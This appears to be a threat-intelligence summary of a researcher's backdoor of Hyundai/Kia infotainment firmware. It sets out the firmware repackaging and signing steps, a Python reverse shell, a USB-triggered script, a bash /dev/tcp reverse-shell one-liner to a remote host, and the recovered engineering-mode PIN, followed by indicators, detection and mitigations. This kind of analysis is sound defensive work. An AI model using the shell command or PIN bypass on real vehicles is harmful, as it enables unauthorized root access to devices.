Full Report
Each file is encrypted individually, with the name being enc_{OriginalName}. There is a configuration file with the file name and the SHA224 hash. The hash of the configuration file is signed. Finally, everything is put into an encrypted zip file for the firmware. Knowing all of the information about method for creating the image is vastly important. Since we have the encryption key and the signing key, we can create valid firmware with a backdoor in it. To backdoor the device, they changed a few scripts. The device has Python on it. So, a backdoor shell was added. Additionally, if a USB drive was plugged in, it would search for a special file that would execute. With the backdoor setup, the device needs to be put into engineering mode. But, the password doesn't work for the mode!? With the newest firmware update, they had came from the website, the password had changed. The hash of the pin (parts of the pin) was put into the logs. By brute forcing these individually they part of the new pin to be 02. Additionally, a hardcoded hash was in the binary and found to be 38. Putting these together is our code for engineering mode. A good post on reverse engineering and setting up the process for further security research. A large amount of the time this is in posts, even if it is just as important.
Analysis Summary
# Tool/Technique: Custom Firmware Backdoor Implementation
## Overview
This refers to a custom set of modifications made to an automotive infotainment (IVI) firmware update package to embed persistent access mechanisms (backdoors) prior to re-signing and deploying the image. The implementation leverages existing system components (Python environment, device scripting capability) to achieve remote execution and USB-triggered execution.
## Technical Details
- Type: Technique (Custom Payload Injection)
- Platform: Automotive Infotainment System (Likely Linux-based, supporting Python)
- Capabilities: Firmware modification, secure update bypass (by following legitimate packaging procedures), reverse shell communication, USB-triggered script execution.
- First Seen: Information derived from security research published around May 2022.
## MITRE ATT&CK Mapping
- **TA0003 - Persistence**
- T1547.009 - Boot or Logon Autostart Execution: Startup Folder
- *Mapping Detail: The backdoor is engineered to run persistently, either via an app launch (Guider script) or system event (USB insertion).*
- **TA0011 - Command and Control**
- T1071.001 - Application Layer Protocol: Web Protocols
- *Mapping Detail: The Python reverse shell attempts to connect back to an attacker-controlled IP address (192.168.0.2:4242).*
- **TA0005 - Defense Evasion**
- T1070.004 - Indicator Removal: File Deletion
- *Mapping Detail: The implied goal is to maintain access while avoiding detection.*
- **TA0004 - Privilege Escalation**
- T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control
- *Mapping Detail: Successful execution of the backdoor led to 'full root access'.*
## Functionality
### Core Capabilities
1. **Firmware Repackaging:** Successfully followed the vendor's encryption (AES test key), hashing (SHA224), signing (`update.info`), and packing (encrypted ZIP) procedures to create a seemingly valid, but compromised, firmware image.
2. **Python Reverse Shell:** Injection of a Python script into an existing system script (the Guider launching script) to initiate a TCP connection back to a predefined IP address (`192.168.0.2:4242`).
3. **USB-Triggered Execution:** Injection of logic to scan for removable media (USB) upon some trigger, specifically searching for a file named `1C207FCE3065.sh` and executing its contents if found.
4. **Engineering Mode Bypass:** Discovery and success in bypassing a new PIN challenge for activating Engineering Mode by combining leaked log information (`02`) and hardcoded binary values (`38`) to form the password (`3802`).
### Advanced Features
- **Defense Evasion via Legitimate Path:** The initial payload was attached to a legitimate performance analyzer script (`Guider`), suggesting the backdoor is executed under the guise of a normal system function launch.
- **Fallback Mechanism:** Utilizing the USB script runner as a reliable backup when the primary network-based reverse shell failed to connect. The USB payload executed a standard `/bin/bash -i > /dev/tcp/192.168.0.3/4242 0>&1 &` payload.
## Indicators of Compromise
- File Hashes: N/A (Custom payloads, but the legitimate firmware configuration process relies on SHA224 hashing for file integrity checks.)
- File Names:
- Configuration File: `update.cfg`
- Signed Information File: `update.info`
- Encrypted Firmware Files: `enc_{OriginalName}`
- USB Trigger File: `1C207FCE3065.sh`
- Registry Keys: N/A
- Network Indicators:
- Primary Payload (Python Shell): `192.168.0.2` port `4242`
- Backup Payload (Bash Shell): `192.168.0.3` port `4242`
- Behavioral Indicators:
- Execution of Python code attempting suspicious socket connections originating from system scripts (`Guider` script path).
- System process accessing mounted USB filesystems (`/run/media/`) and executing shell scripts from them.
- Successful login or execution with `root` privileges.
## Associated Threat Actors
- This specific modification appears to be the work of an independent researcher/hacker ("greenluigi1") demonstrating capability against Hyundai/Kia D-Audio2V systems, not a known Advanced Persistent Threat (APT) group.
## Detection Methods
- **Signature-based detection:** Check for known string signatures within firmware binaries corresponding to the Python reverse shell code or the specific USB filename (`1C207FCE3065.sh`).
- **Behavioral detection:** Monitoring the device's process execution for unauthorized execution of Python code that opens outbound raw socket connections on non-HTTP/S ports (like 4242) from unusual parent processes.
- **YARA rules:** Could be written to detect the specific sequence of shell commands injected into the Guider script.
## Mitigation Strategies
- **Firmware Integrity Verification:** Enforce cryptographic validation of the firmware signing key (`update.info` signature validation) during installation and boot; ensure the AES key used for file encryption cannot be derived or hardcoded into analysis tools.
- **Principle of Least Privilege:** Run system services and applications (like Guider) with the lowest necessary privileges, preventing post-exploitation root access.
- **Input Sanitization and Logging:** Log all engineering mode PIN attempts, including partial hashes, to detect brute-forcing or pattern discovery.
- **Remove Python/Shell Capabilities:** If not strictly necessary for core function, remove runtime interpreters (Python, Bash) from production firmware builds to reduce the attack surface for shell injection.
## Related Tools/Techniques
- Firmware Modding Tools (Custom Bash Scripts used for extraction/compilation)
- Standard Netcat/Bash Reverse Shell techniques.
- Binary Hardcoding for Credential Discovery (Engineering Mode PIN bypass).